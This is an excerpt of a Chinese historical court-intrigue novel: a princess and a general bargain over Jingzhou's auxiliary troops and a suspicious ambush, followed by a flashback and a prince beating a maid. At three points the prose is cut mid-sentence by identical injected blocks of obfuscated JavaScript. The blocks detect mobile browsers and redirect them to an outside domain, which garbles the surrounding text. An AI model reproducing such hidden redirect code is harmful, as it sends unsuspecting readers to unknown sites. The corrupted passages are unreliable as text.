晏泠音在屏风内端起了茶盏。她知道,自两日前陈桉能下地以来,已多次着人去请谢朗面谈,可得到的无非是“将军不在城内”或“将军事务繁忙”之类的敷衍语。他是持身清正的老臣,在太子遇难后便淡出了党争,名声斐然,当年于谢初原也有提携之恩,正因此,晏懿才会选派他来泾州钳制谢家。谢初原对他避而不见,或许确有伤病未愈的缘故,但连谢朗也借故一再推脱,这背后的原因便很值得深思了。 而陈桉今日特地请她过来,也是在提醒谢朗,他与皇室还有一层断不了的联系。跟着惠和公主嫁过来的,是她那些堪称丰厚的嫁妆,对于战时耗资靡费的泾州来说,银钱的重要性不言而喻。谢朗要收它,就要同时收下她身上的皇室枷锁,让渡权力给作为皇帝使节而来的陈桉。 魏收已经去而复返,在桌边两人沉默的对峙里,将大氅给陈桉披上。那是淑妃给晏泠音备着过冬的寒衣,泾州的冬天来得早,这场仗,也未必能在入冬前结束。 谢朗没有看魏收,倒是他身后的耳环青年显出几分好奇,打量了魏收好几眼。等魏收退去一边后,谢朗才慢声开口,接上了陈桉的话。 “宣抚所言极是,我今日正是为此事而来的。成均,把驻防图呈给宣抚。” 青年收回视线,从怀中掏出一只卷轴,嗓音响亮而清晰:“陈宣抚,请。” 罗纹纸在陈桉眼前铺展开来,一旁的魏收也跟着看了过去。图纸的绘制算不得精巧,但是笔势恣意,如走龙蛇,不难猜出那是谁的手笔。陈桉看得仔细,边看边微微颔首,眉头却也逐渐皱了起来。 “谢将军,”陈桉抬手按住卷轴,目光落到谢朗脸上,语气里带着疑问,“这就是泾州驻防的全部?” 谢朗摇头时唇角带笑:“不,这只是泾州厢军和土军的驻防图。” 青年相当自然地跟着开口:“陈宣抚,将军已决定把诸司日用及巡检事宜托付给您,日后还要劳您多加费心。” 晏泠音虽看不见那张驻防图,却将几人的对话都听在耳中,顷刻间便明白了谢朗的用意。征战前线的主力是屯驻军和禁军,厢土二军大多留守后方,既供杂役,也负责县邑治安。他们虽也占了朝廷拨给的军饷数额,但军士的质量却参差不齐,大多混吃等死,并不具备上阵杀敌的能力。谢朗把这两支军队交给陈桉,明显是不想让他参与战事机要,如此,泾州军便仍需认谢家为主。 她抿了口茶。茶粗而涩,苦得厉害。那种提神的劲直冲天灵盖,让她已没有了喝第二口的欲望。 这一招狠就狠在,谢朗搬出了厢、土二军,让陈桉不便直接拒绝。太子还在世的时候,曾提出过一份改革军制的提案,陈桉就是它的拟定者之一。提案里最重要的一条便是严整包括厢军、土军在内的非正规军,因为他们虽消耗钱粮,却只能做些杂事,派不上什么更大的用场。 这份提案曾被短暂推行过一段时日,又随着太子的遇难,悄无声息地废掉了。 42. 幼虎 晏泠音起身走到了屏风一侧,步子很轻。她听见了陈桉颇为惊讶的声音:“这……不可!谢将军,此事还需再议。” 透过屏风上的疏落林木,晏泠音能看到谢朗端直的背影。他开口时嗓音不高,语调沉稳:“多年前,我曾拜读过宣抚的文章,关于去兵任勇之害,宣抚的论说透辟入里,令我心折至今。当年裁兵、选兵之制虽因故没能推行,但我知道宣抚心志未改,所缺的只是一个合适的时机。泾州军的冗杂之弊,宣抚亦曾耳闻目见,定然比我更加清楚。如今正在乱时,战局瞬息万变,每支军队都需做好上战场的准备。厢、土二军若被精心调治,便能为前线提供一流的后备兵力。这是关乎士气民心的大事,除了宣抚,泾州无人可以委此重任。” 陈桉站起了身。魏收上前一步想去扶他,他轻挥了下手示意不必,自己在桌案旁走了两步,沉吟不语。良久,他似是下定了决心,长叹一声道:“都是往事了。纸上洋洋千言,今日回思,不过连篇空话!谢将军,老夫不敢受此托付,平琛可还好?我和他多年未见,着实有些想念了。” 他唤了谢初原的字,是想借叙说旧情来缓和屋内紧张的气氛,但谢朗没有退让。 他的眼中没有旧情,甚至在提到谢初原时,也不会叫他“父亲”。 “都督的身体需要静养,怕是不宜接见贵客。他病愈之前,泾州州事由我全权负责。宣抚有什么话,只需告诉我,由我转达便是。” 陈桉猛地停步,回身望向谢朗。两人的目光交汇之时,那个戴耳环的青年和魏收同时抬手,按上了腰侧的佩剑。 屋内静了下来,冰雹砸落的噼啪声便显得分外清晰。泾州天气多变,这趟寒潮来得毫无预兆,不过半日,往北的道路上已结了层薄冰。谢朗方才正是在那一处巡视,捉到了两个埋伏城外的幽兵,他们对自己遭擒的主将忠心耿耿,被执时还在破口大骂,说谢朗是阴险狡诈、狂悖无道的小人。 这些詈骂没有激怒谢朗,也没有让谢朗对他们仁慈半分。早在接手泾州军务之时,在说服乃至迫使谢初原的老部下信任、接纳自己之时,谢朗就已背上了冷血的名声。任何因年纪而轻视他的人都会很快明白,他不是光有一腔猛劲的初生牛犊,而是蛰伏已久、磨利了爪牙的乳虎。 此时的陈桉亦是如此。即便老成如他,也觉背后微凉,出了一层薄汗。 晏泠音又往前迈了半步。从她的角度看去,谢朗的坐姿自始至终都相当端正。他耐心、稳重,像一块从未转动、往后也不可能有所改变的磐石。他既然敢说“全权”二字,那么即便陈桉见到了谢初原,军权的分配也不会有任何更改。谢朗对自己在泾州的威望如此自信,足可说明他筹谋之久。谢初原的负伤只是一个契机,谢朗在泾州军里的安排和布置,绝非一朝一夕之功。 晏泠音心想,谢初原教了个好儿子。 从屏风后走出来时,她先看到了眉头紧锁、隐有恼意的陈桉,紧跟着看见了一身甲衣、背对她端坐的谢朗。她出声道:“宣抚、将军,请听我一言。” 她不再唤谢朗殊义伯。伯爵的头衔在宛京自然风光无限,可这里是战乱未息的边地。泾州人未必认识殊义伯谢朗,却不可能不认识左军第一将、谢大都督的独子谢将军。 陈桉抬眼,谢朗回眸,两道视线同时落到了她的身上。隔着幕篱的白纱,那个肤色黝黑的青年也在仔细打量着她,他的目光温和微亮,并不具有冒犯性,却让晏泠音无端地生出了警惕。 还是陈桉先颔首道:“殿下但说无妨。” “我虽不通军事,却也知道战时最忌人心动摇。前有幽军,后有山匪,泾州外部的环境已然如此,便绝不能再于内部生乱。只有后方稳定了,前线的将士才能安心杀敌。” 这些话是在帮谢朗。他似乎没料到晏泠音会这样说,投向她的视线里多了几分讶然。 连陈桉也有些意外,迟疑道:“殿下的意思是……” “厢、土二军虽非正规军队,但人数也相当可观,且久与百姓杂处,御盗乡里,□□地方,上可通州官,下可接民情。他们不只是前线的后勤保障,更不是屯驻军和禁军的附庸。他们占着相当关键的位置,值得配备最好的主将,训练、整改,趋利祛弊,才能将其应有的功用发挥出来。” 她的余光瞥见陈桉在微微点头。谢朗方才只说对了一半,陈桉当年那些有关兵制的文章里,对梁国现有的各个军种都做了详尽的分析,不仅论其弊病,更兼谈其优长。那是些绝妙的文字,严密、精确、翔实,从中不难窥见执笔者的雄心与襟抱。 只可惜它生不逢时。 “盗匪为祸,流民成灾,蔚州便是泾州的前车之鉴。”晏泠音在屋内无声环顾了一圈,继续道,“我听闻蔚州民怕兵如怕匪,正是因为兵匪沆瀣一气,狼狈为奸。兵中潜有山匪,匪中藏有逃兵,互相结款纳私,连地方官员也参与其中。蔚州著名的‘百花窟’之所以繁荣至今,背后无疑有官、匪、兵、民四方的合力推动。它是一块烂疮,直接引发了蔚州之乱,甚至还在向其他州蔓延。厢军土军既然是勾连官民的纽带,唯有严加管理、整肃纪律,才能防患未然,避免泾州步蔚州之后尘。” 她这几日总是想起葛茵,想起她说到百花窟时的哽咽难言。她不知道葛茵为何离开,但她相信,葛茵说的那些并不全是谎言。百花窟已然成势,她能做的事不多,却也不是全然没有。 谢朗的眼睛很亮,那异于常人的瞳孔里盛着些许惊讶,却又隐有赞许。他接着晏泠音的话道:“殿下所言甚是。百花窟恶名昭彰,它是野草的种,寻不着烧不尽,风一吹便能落地生根。两年前我与蔚州张知州有过一面有缘,当时也曾劝他及早整改蔚州兵,不要让军队成为藏污纳垢之地。他要是听进去了,蔚州或许便不是今日这番情形。” “光是整改还不够。”晏泠音摇了摇头。谢朗的思路转得很快,若不是处在今日这种情形里,和他论争应当是件相当畅快的事,“百花窟能建起来,是因为它背后有暴利,动它就是砸旁人的饭碗,必会招致激烈的反抗,甚至引火烧身。兵匪勾结的真正受益者是谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431924|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?买卖妇女的银子最终流向了哪里?蔚州混乱至此,我不信没有人在暗中推波助澜。只有找到幕后主使,才能真正断了这些肮脏的交易。” “殿下,这已不是泾州能管的了。”谢朗语气里带了点笑意,“还是说回泾州罢。” 晏泠音像他方才对待陈桉一样,没有退让。 “蔚州和泾州距离如此之近,本就唇齿相依。别的暂且不提,今年的战事若是持续下去,劳力上了前线,军田的产量就会减少,在借调粮食方面,蔚州无疑是泾州的首选。但如果山匪在蔚州做了主,他们又不受保价法的约束,无论借粮买粮,定会漫天要价,到时候这笔银子,泾州给是不给?” 她说得直接,谢朗便也不再委婉客套:“殿下,恕臣直言,泾州如今没有余力关心其他州的州事。山匪确是一道隐患,但也正如殿下所说,它背后的线埋得很深,轻易动不得。泾蔚二州互不干涉,这已是现下最好的局面。至于军粮问题,泾州的储粮还够支撑数月,即便蔚州不给,也还有其他州可以求借。只为了这件事而发兵乐山,不值得。” 晏泠音沉默了片刻。屋外的冰雹不知何时已经转小,成了细碎的冰珠,在屋瓦上敲出不规则的嗒嗒声。数日来的经历在她眼前闪过,从渔民贪婪的眼神,葛茵破烂的衣衫,到邨县衙门前施粥的乱象。 她还短暂地想起了那夜所见的灿烂星空。在星河之下,在荒废的田边水沟里,她向葛茵许诺了桃红柳绿,同时也无声地,向天下人许诺了海晏河清。 但那些都还太远了,远得像触不可及的星辰。眼下的现实就是堆烂泥,谢朗已然尽了力。他比她更清楚泾州的困境,换作是她,未必能做出更好的选择。 “我知道事有轻重缓急,如今的泾州确实担不起剿匪之任。可将军或许也曾怀疑过,蔚州知州张初明……” 陈桉的咳嗽声打断了她的话。他已在桌边重新坐下,方才听他们争论听得仔细,喝茶时不慎被茶水呛住了。魏收替他轻拍着脊背顺气。在那一瞬,谢朗的目光从陈桉身上移开,定定地望向了晏泠音。他没有开口,可晏泠音猜到了他的意思。 他不想在陈桉面前谈论此事。 两人的视线隔着白纱一触即收,等陈桉抬起头时,谢朗已收回目光,神色如初。他关切道:“是我思虑不周,宣抚的身子还没好全,不该劳神久坐,今日就……” 陈桉的面色不好。 “张初明?”他没等谢朗说完便开口询问,“义宁张氏,工部张侍郎的儿子张初明?” 这趟议事直到戌时三刻方才结束。谢朗吩咐为陈桉备了晚膳,称自己还要巡城,没有多留。晏泠音要回自己的住处用膳,便也辞别了陈桉。她和谢朗一前一后地出了门,沿着弯弯绕绕的回廊往外走。魏收在前面提着灯,谢朗不紧不慢的脚步声就跟在她身后。冰雹已经停了,天却还阴着,入夜后寒气加重,浮起了朦胧的雾。 回廊尽头种了两丛鸢尾,摇曳的花影投照在晏泠音脚下时,她听见了谢朗的声音。 “殿下留步。” 43. 诚意 晏泠音回身时,发现背后只站着谢朗一人,叫成均的青年并没跟着他过来。白雾潮湿而绵密,掩住了谢朗周身寒铁的冷光。他的面容在雾中半隐半现,少了些许凌厉,添了几分柔和。 魏收原本不想走,迟疑片刻,还是搁了灯盏,无声地退入了雾中。 “谢将军,”等魏收离开后,晏泠音轻声开口,“我正要找你。” 谢朗遣走了他的副将,不是因为对他不够信任,而是在向晏泠音表示诚意。她隐约猜到了谢朗想说什么,这场谈话若要深入进行下去,她必须拿出同等的诚意来。 在泾州虽只短短几日,但她已感受到了谢朗的行事风格。他不喜欢拐弯抹角,说服他的唯一方式就是坦诚。 灯盏在雾气里晕开暖色的光,晏泠音借着它打量谢朗。她的父亲对武将的态度一向分明,若不能收为己用,便伺而杀之。那是最稳妥的办法,但不是也不该是唯一的办法。谢朗的桀骜就藏在他的铁甲之下,要驯服他太难了,如果她做不了他的君主,起码可以选择做他的伙伴和同谋。 因利而聚的关系并不牢固,这也是为什么她和苏觅无法推心置腹。但是…… 晏泠音望着谢朗那令人生畏的瞳孔,确证了自己的想法。 谢朗不一样。 那双眼睛里装着的东西,和五年前相比几乎没有任何改变。正如他顶着重重压力送亡友回京不是为了求名,他今日来寻她,也绝不是为了求利。 “好巧。”谢朗点了点头,语气里并无惊讶,“是殿下先说,还是臣先说?” “将军请。” “既如此,臣想问殿下,”谢朗的目光直直地落了下来,似要穿透幕篱和漂浮身周的雾气,望进她的内心,“殿下为何而来?” “为了助都督和将军退敌。” “这是殿下的意思,还是陛下的意思?” 晏泠音在雾气后笑了一下:“这是大梁百姓的共同愿望。正因为有都督和将军,北地才能平安至今。” 谢朗侧过身,抱臂靠在一旁的廊柱上,语气依旧平静:“臣惶恐。” “我听过此前将军的战绩,”晏泠音垂了眼,看着烛光在风中忽明忽灭,“在众寡悬殊的情况下孤军深入,擒拿敌首,又派人烧了敌军的半数粮草,逼其回撤,解了谢都督的困境。将军是奇袭的高手,这一点在现下的大梁将领中无人可及。若我是将军,也不会甘心将军队主力拱手让人。” 谢朗转过脸看她。 “一旦失去了绝对的调度权,军队的指挥就会拖沓甚至混乱,奇袭的优势也就不复存在。”晏泠音放慢了语速,“那会是泾州,也是大梁的损失。” 她这句话说得真诚。帝王颁赐布阵图遥距指挥,命令主将遵行,同时派遣贵臣前往前线督视,这是梁国长久以来的传统,早在陈桉都督泾州时便是如此。 但显然,它并不适合所有将领,尤其不适合谢朗。 “违诏的代价不小,”晏泠音发现谢朗仍在看着她,顿了顿,继续道,“将军不让都督出面,是想独自揽下日后的罪责。我敬佩将军的勇气,但那对将军来说,未免不够公平。” 她说完后,长廊上一片沉寂。谢朗许久都没有开口。他似乎在思索着什么,一手摩挲着腰侧的佩剑,目光投向了远处。 “所以,”他的声音低而清晰,“殿下劝说宣抚接手厢土二军,又将蔚州的异常透露给他,是为了帮臣。” 她已经表明了立场,谢朗也能听懂,只看他信与不信。 “是为了帮将军取胜。”晏泠音答得干脆,“宣抚有整治军队的经验,后方比前线更适合他。至于蔚州之事,即便我不说,宣抚也迟早会知道,张知州是他的……故人之子。蔚州的状况太过混乱,总让我觉得不安。若能说服宣抚出访蔚州,或许能打探到一些消息。” “当年太子妃病逝之后,张初明改名张无为,出京云游,从那时起就和故交都断了联系。”谢朗微眯了眼回忆,“臣也是偶然才得知他的真实身份,不想殿下竟也知道。” 他的语气里仍有疑问,显然还没有完全信任她。垂落的袖摆之下,晏泠音握紧了悬在腰际的玉佩。 “那时送张无为出京的,是现任户部尚书安漼之。他曾是先师最好的朋友。” 谢朗从她的声音里察觉不出异样,稠白的雾不仅掩住了晏泠音的神色,还模糊了她话语中的情绪。他对那对师生的印象还停留在五年前,再往后便是东云台案发时铺天盖地的流言。几日前那句“殿下变了”是他临时起意的试探,但晏泠音也答得相当从容,不留破绽。 他不知为何,心里忽然堵了一下。这种感觉有些陌生,他皱了皱眉,跟着便转开了话题。 “殿下方才说,蔚州令殿下不安?” “这正是我要向将军请教的事。”夜风拂动晏泠音面前的白纱,但她在此刻还没有觉得冷,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431925|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想知道,都督为何会受伤。” 话音刚落,廊上气氛陡变。谢朗保持着斜倚廊柱的姿势,在被风搅动的雾气里微侧过头。他的神色如常,眸光却暗了下去,瞳孔深处的那点光如磷磷的火,带着烫意烧到了晏泠音的身上。 那是她从未见过的眼神,好像谢朗此刻才真正看见了她。公主的名号也好,未婚妻的身份也罢,那些都不会让她对谢朗而言有半分特殊,因为他不在乎。他的漫不经心是猛兽休憩时的慵懒,他的礼貌则是待客时的教养使然。平日里他不会露出獠牙——那与其说是礼貌,不如说是傲慢。 可一旦有人越过了不该越的界限,猛兽便醒了。他像看着闯入领地的猎物,无声地、专注地凝视晏泠音。 谢初原的负伤在战报里写得语焉不详,朝廷唯一知道的是他运气欠佳。那一夜泾州忽落暴雨,急流灌入河谷,淹没了兵士回城时常走的路。他们绕道庸山时撞上了幽军,在伸手不见五指的湿冷寒夜里,被滚滚而落的巨石和装备精良的兵马打得措手不及。 暴雨阻断了消息的传递,谢朗察觉不对,领兵出城时,谢初原已带着残部退入了山后的沼泽。云收雨霁,谢朗的三千兵士在城外遇上了队列整齐的一万幽军,他能破阵而出,赶去沼泽地接应谢初原,几乎是个奇迹。 谢朗打得太漂亮了,不幸被生擒的那位将领是他荣誉的勋章,让他一战扬名。胜利的光辉会遮蔽掉一些东西,宛京城中很少有人提起,在这场仗里,泾州军付出了何等代价。 晏泠音在泾州的这几日了解了伤亡情况,仅仅在庸山下,便有三百一十九人战死,伤者难以计数。这还是在谢初原反应迅速、应战及时的情况下。他带的人多是泾州弓手里的精锐,恶劣的天气限制了他们善射的优势,滚落的巨石将他们压得血肉模糊。谢初原自己也在掩护众人退避时肋下中箭,千钧一发之际,他最为倚重的副将为了救他而丧命。 这是晏泠音能看到、能打听到的,也是谢朗愿意展示给旁人的,可她想和他聊的不只是这些。今日她主动出面说服陈桉,就是为了得到和谢朗私下交谈的机会。这个机会太过难得,她愿意冒一点险,去探一探谢朗的底线。 谢朗倚着廊柱悠悠开口:“前此一战的情形,臣在战报里都已禀明了。殿下没有看到吗?” 晏泠音松开了手心的玉佩,往谢朗的方向走了一步,声音很轻。 “将军,都已禀明了……吗?” 44. 浮光 五年前的陟岵亭。 杜慎今日未着官袍,一袭广袖襕衫被风鼓动,猎猎有声。京郊风大,吹散了他耳边的碎发,露出了几点灰白。 晏泠音盯着那灰白看了许久。 “先生,”她终于忍不住开口,“谢小将军不知何时能到,您前两日劳心劳力,着实辛苦,不如先回去歇息,等明日他入城后再见也不迟。” 时至傍晚,天际已现出了瑰色的霞彩,远近的一切都被罩在柔和的辉光下。杜慎的肩头也被染上了暖色,他没有回头,只轻摆了下手,示意无事。 此情此境,让晏泠音看得心头发酸。 杜慎近来心绪欠佳,因为在朝堂上与他针锋相对的不是别人,正是他曾倾心相待、视为知己的旧友安漼之。他们为赈灾之事连吵了两日,直到连晏懿都听不下去,袖摆一拂喊了退朝。 她不知道杜慎为何执意在此等待谢朗,但她能隐约感觉到,他不想让这次会面被旁人知晓。 那个旁人里包括安漼之,甚至包括江渊然。 “殿下,对谢小将军了解多少?” 杜慎这句话问得突然,晏泠音怔了一下才答道:“小将军久居边地,甚少南下,学生只知他和崔家交好,也很得皇祖母欢心,每次来京都要入宫觐见。” 杜慎抬眼望着已褪成浅紫的天色,叹了一声:“崔家高门华胄,只怕小将军心不在此。” 晏泠音垂首恭聆。 杜慎不喜招摇,与朝官也素少往来,但这不代表他闭目塞听,不闻不看。他在吏部待得久,尤其善于识人用人,官员们的学养、家世、性情,但凡他能了解到的,都毫无保留地告诉了晏泠音。 “谢初原当上将领之前,是北域的一方游侠。他任性使气,仗义轻财,周济地方贫困,在当时便颇有声名。一次偶然,他救下了当地的大族白氏的公子,两人义结金兰,同游庸、乐等北地山川,彼此唱和的诗篇甚至传到了京师。世人皆知谢家和崔家交好,可谢初原结交崔少丹,已是在他领兵数年之后了,他和白氏的情谊之深,绝不在崔氏之下。” 那些酬唱之作晏泠音并未读过,早在她记事前,它们便因不知名的原因而被禁毁。可杜慎是读过的,他当时尚且年轻,深深震撼于诗中瑰奇的北地风光,也曾暗暗许下心愿,有生之年,定要去北地游览一番。 “白氏?”晏泠音惊讶道,“那位亡故的刺史白松言……” 杜慎微微点头:“小将军护送的,正是白公子的后人。” 日将西沉,他额上的皱纹映着日光,显得分外清晰:“谢初原娶了白家的小姐,自此便安定下来,不再四海为家。后来北地起了烽烟,他入了行伍,慢慢攒下了功名。陛下登极之后,将他拔擢为大将,但也是从那时起,白家开始衰落了。” 蔚州干燥的秋夜里,一把大火烧毁了白家的宅院,白公子和回家省亲的白小姐都葬身火海,只留他送去庄子里的一双儿女幸免于难。谢初原上书请求辞官,但被晏懿驳回了。当时边地纷扰不断,他日夜奔波于战场,和他酷肖亡妻的幼子聚少离多。 因此,谢朗是和白家兄妹一起长大的。他很少待在泾州空荡荡的家里,更喜欢跑去蔚州,和白松言挤一张狭小的床铺。白松言不愿寄人篱下,他当时的身量还不到谢初原腰际,却婉拒了谢初原让他搬到谢家居住的提议。他靠着白家残留的产业养大了妹妹,自己也勤苦读书,谋到了官职。 “可是先生,”晏泠音听到此处,不禁疑惑道,“照您说的,白刺史应当是个坚韧有骨气的男儿,那他为何会在署中畏罪自缢,罪名还是……” 通敌。 这两个字是一生都无法洗去的污点,不论真假,在沾上它的那一刻便注定了白家的败亡。白松言的死坐实了他的罪名,甚至不需再出动专案组彻查。白家被抄,白松言曾百般呵护的小妹不知所踪,他在蔚州的亲朋故旧无一敢前去吊唁,唯有谢朗替他殓了骸骨,照他的遗愿将他带回宛京。 宛京是白氏入籍蔚州前的发家地,亦是白家祖坟所在。白松言的父母尸骨无存,而他允诺过要代父母还乡。 杜慎的唇抿得很紧。他没有看晏泠音,绚烂的霞彩落到他眼中,化成了极幽深的一点。他是真的老了,老到在漫天彤云里看见了自己的桑榆晚景,在往事的叙说中咂摸出了难抑的悲凉。 但他的学生还年轻,她和那位远道而来的小将军一样,有着力挽狂澜的能力。他们会如云霞蔚起,描画出大梁中兴的将来。 天际驰来一匹通体浑黑的骏马,原本只是一个小点,逐渐越来越大,越来越明晰。夕阳将马背上的少年映成了剪影,他沿着蜿蜒的山道策马而下,像是水墨画卷遽然舒展,画中人破出画幅,转瞬便来到了眼前。 杜慎几步走下亭阶,立在道旁相迎。柩车走得慢,还落在夕阳的余辉里,谢朗已打马进了暗色的树影。他来至亭前,像只轻盈的墨蝶翻身下马,眸光扫过杜慎,又扫过他身后男装打扮的晏泠音。 “谢将军,”杜慎向他颔首致意,跟着报了姓名,“杜慎。” 他这样说,是要同谢朗平辈论交。不只是晏泠音,连谢朗都有些讶然。他后退半步,躬身向杜慎行礼:“原来是杜公。家父曾多次提到杜公的诗文,平素吟咏不绝,恨不能亲来与杜公相识。今日得见尊面,是晚辈之幸。” 谢朗的狂傲远超其父。谢初原在妻友死后变得寡言,而谢朗不仅学到了他早年的豪气,更完美地继承了母亲的傲骨。白家出的都是简傲绝俗的女儿,谢朗身上也流着白家的血。他此生第一次,也是唯一一次自称晚辈,就是在杜慎面前,又正好被晏泠音听见。 杜慎双手将他扶起,侧过身向他介绍道:“这是我的学生,闻暄。” 谢朗的目光再度落到晏泠音身上,在她耳垂的那抹痕迹上短暂停留,不动声色道:“闻公子。” 再往下的谈话内容,晏泠音没有听到。她在日后回想时,总觉得谢朗应该是猜出了她的身份,心存戒备,有意和皇室保持距离。但那一日,她立在陟岵亭中,边赏夕阳边等两人谈完话时,还未想得那么远。 因为她的注意力被别的事分散了。她听到了琴声。 ……琴声? 记忆是会骗人的,晏泠音很清楚这一点。经历过东云台的梦魇后,她的往昔记忆都成了浮光掠影的碎片。这是身体自我保护的方式,却给晏泠音带来了困扰。她无论如何都想不起一些事情,某些不重要的细节却总是栩栩如生。 但她为什么会听到琴声? 晏泠音的头痛了起来。那是不知从何而起,却又无可遏止的疼痛。她在剧痛里弯下了腰,抬手用力地摁上了额角。因疼痛而朦胧的视线里,皮质长靴停在了她的身前。 可谢朗没有进一步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431926|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的动作,他只是冷漠地垂眼打量着她,似乎在评判她是否在演戏。 晏泠音急促地喘息着,冰凉的雾气让她想要呕吐。她眼前一阵阵发黑,用了极大的力气才稳住心神,勉强直起了身。 或许是受冻着凉,或许是忧思过度,或许是前几日的遇袭和奔波留下的后遗症,但原因并不重要。重要的是她必须直面谢朗,把该讲的话都在今夜说完。 “谢都督遍游北地河山,对庸山更是熟稔于心。我前日去庸山探查过,见东侧山体斜度大,易落石滑坡,即便是情急之下的绕道,走西侧也比走东侧安全不少。都督比我更清楚这一点,却还是领兵从东侧绕路,对此我属实不解,谢将军,可否为我解惑?” 她虽然站直了身,但声音虚弱,气息也有些不稳,不像是伪装。她话音刚落,谢朗忽而上前一步,掀开了她的幕篱,在她愕然的目光里,望见了她额上的一层薄汗。 一方洁白的绢帕被扔进了她的怀里,谢朗转过眼去,平静道:“殿下亲自来质问臣,想必心中已有答案了。” 晏泠音攥住了那块绢帕,没有立刻用它擦拭,忍着头痛轻声道:“我视将军为友,才会和将军说这些话。否则,我大可将此事上报,治都督决策失误,以致损兵折将之罪。” 如果说得更严重些,这件事便不只是失误,等朝廷降罪下来,谢初原再当不了泾州的都督。到时候用陈桉来替他,就是顺理成章的事。 谢朗静了片刻,忽然笑了。他的手又搭上了剑柄,边摩挲边沉吟道:“有理,如此倒要多谢殿下。但臣也有些担心,殿下手里拿着臣的把柄,臣对殿下却一无所知啊。” 泾州被谢朗布置得有如铁桶,她无论去往何处都有暗卫跟着,到底是谁拿捏住了谁?晏泠音面上没流露出分毫,也冲他扬了下唇角:“将军过谦了。但还请将军信我,我不是泾州的敌人,我是真心实意想要帮助将军。若将军愿意,可以忘掉我姓晏,叫我闻暄。” 在谢朗开口前,她又补充道:“庸山的伏击,白水河的遇袭,这些事将军想查,我也想。庸山靠近乐山,就在泾、蔚二州的交界线上,白水河则是过蔚州前往泾州的必经之地。蔚州的嫌疑太大了,我想跟宣抚一起去蔚州,即便一时查不出真相,也多少能发现些什么,好过在此处干等。” 近来回想白水河那一夜,她已越发确定黑衣人是冲她来的。他们目标明确,上船后并未对舱内的陈桉多看一眼。若她的怀疑不错,那对方必然还有后招。泾州把她保护得很好,她得走出去,才能引诱那人暴露自己,对她再下一次杀手。 这是引蛇出洞最便捷的方法,谢朗也明白,可他微微皱起了眉。他正要说什么,长廊外忽然响起一阵脚步声,伴随着耳环叮铃的声响。很快,那个叫成均的男子奔至谢朗身前,小声说了句什么。 “查清楚了?”谢朗的答话倒是没压着声音,“他是蔚州人?” 男子点了点头,不知为何看了晏泠音一眼,又附在谢朗耳边说起了话。 魏收几乎是同时冒了出来。他站在晏泠音身侧,警惕地盯着交谈的两人,倏然变了脸色。 他的耳力比晏泠音好,碍着有外人在,一路都没提自己听见了什么。直到送晏泠音回了屋,他才低声道:“晏主,我听他们说,宫中出了事,安贵妃遭禁足,皓如殿的一个乐师被定了死罪,几日前在狱里自戕了。” 45. 惘然 “荒唐,”晏眆怒极反笑,手边的茶盏被他一把掷了出去,砸得粉碎,“母妃怎么可能和那个贱奴有染?” 婢女在屋内黑压压地跪了一地,被碎瓷溅到了也不敢呼痛,生怕触到主子的怒气。晏眆原本还要砸案头的扇子,但想到那是冷霏覃送的,又不得不收了手。他起身在屋内走了几步,心头的怒火越窜越高,烧得他唇干舌燥。 与此同时,震惊和疑虑也逐渐蔓延上来。晏眆紧皱着眉,走了一圈又一圈,面色冷得像冰。 这么大的丑闻,无论真假,都该是被死死压制,不露风声才对。可它偏偏传遍了整个后宫,只差一点便要朝野皆知。谣言是被操控的,有人故意把事情闹大,想毁掉安贵妃的声望,毁掉他晏眆唾手可得的储君之位。 他目光阴沉地在屋内扫了一遍,最终落到了角落里的一个婢女身上。她被碎瓷片划得最狠,小臂上渗出了血,却只是垂首跪着,和众人一样不言不语。 “明钏留下,”晏眆喝道,“其他人滚。今日谁敢迈出王府一步,就地杖杀。” 他咬字沉而清晰,婢女们敛声屏气,一个接一个地退了出去。屋里变空了,气氛却更加压抑,晏眆被拉长的影子落在了明钏身前,像只狰狞的恶兽。 他彻底撕下了那层温文尔雅的假面,变得凶戾而暴虐。 咚的一声,明钏被他踹翻在地。他这一脚踢得狠,又正砸在心口,明钏原是养在宫里的女孩儿,身子娇弱,哪经得住这样的击打?她喉间涌上股腥甜,耳边嗡嗡作响,几乎听不清晏眆在说什么。 “殿下……殿下!”明钏知道他正在气头上,不敢躲避,只能咽下口中血水,哀求道,“奴婢什么都不知道,奴婢在宫里一心侍奉娘娘,出宫后又一心侍奉殿下,奴婢没有……” “你跟了母妃那么久,”晏眆盯着她,慢慢道,“什么异样都没有发现?” 明钏脸上泪水纵横,半是吓的,半是疼的。她边咳嗽边拼命摇头:“奴婢不懂殿下的意思……” 晏眆抬手掐住了她的脖颈,逼问她:“苏觅平时都在干什么?他不是乐师吗?” 